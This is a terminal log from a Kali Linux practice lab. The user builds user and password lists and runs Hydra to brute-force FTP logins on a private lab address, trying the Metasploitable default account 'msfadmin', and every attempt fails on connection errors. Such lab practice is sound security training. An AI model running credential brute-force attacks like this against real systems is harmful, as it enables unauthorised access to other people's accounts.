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kali@shreya: ~/hydra_lab

Session Actions Edit View Help

(kali@shreya)-[~]
$ cd hydra_lab

(kali@shreya)-[~/hydra_lab]
$ nano users.txt

(kali@shreya)-[~/hydra_lab]
$ ls
users.txt

(kali@shreya)-[~/hydra_lab]
$ nano passwords.txt

(kali@shreya)-[~/hydra_lab]
$ ls
passwords.txt  users.txt

(kali@shreya)-[~/hydra_lab]
$ ping -c 3 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.

— 192.168.56.101 ping statistics —
3 packets transmitted, 0 received, 100% packet loss, time 2036ms

(kali@shreya)-[~/hydra_lab]
$ hydra -L users.txt -P passwords.txt ftp://192.168.56.101 -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-23 21:53:23
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ftp://192.168.56.101:21/
[ATTEMPT] target 192.168.56.101 - login "msfadmin" - pass "msfadmin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 192.168.56.101 - login "msfadmin" - pass "123456" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 192.168.56.101 - login "msfadmin" - pass "password" - 3 of 3 [child 2] (0/0)

[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-23 21:54:08

(kali@shreya)-[~/hydra_lab]
$
```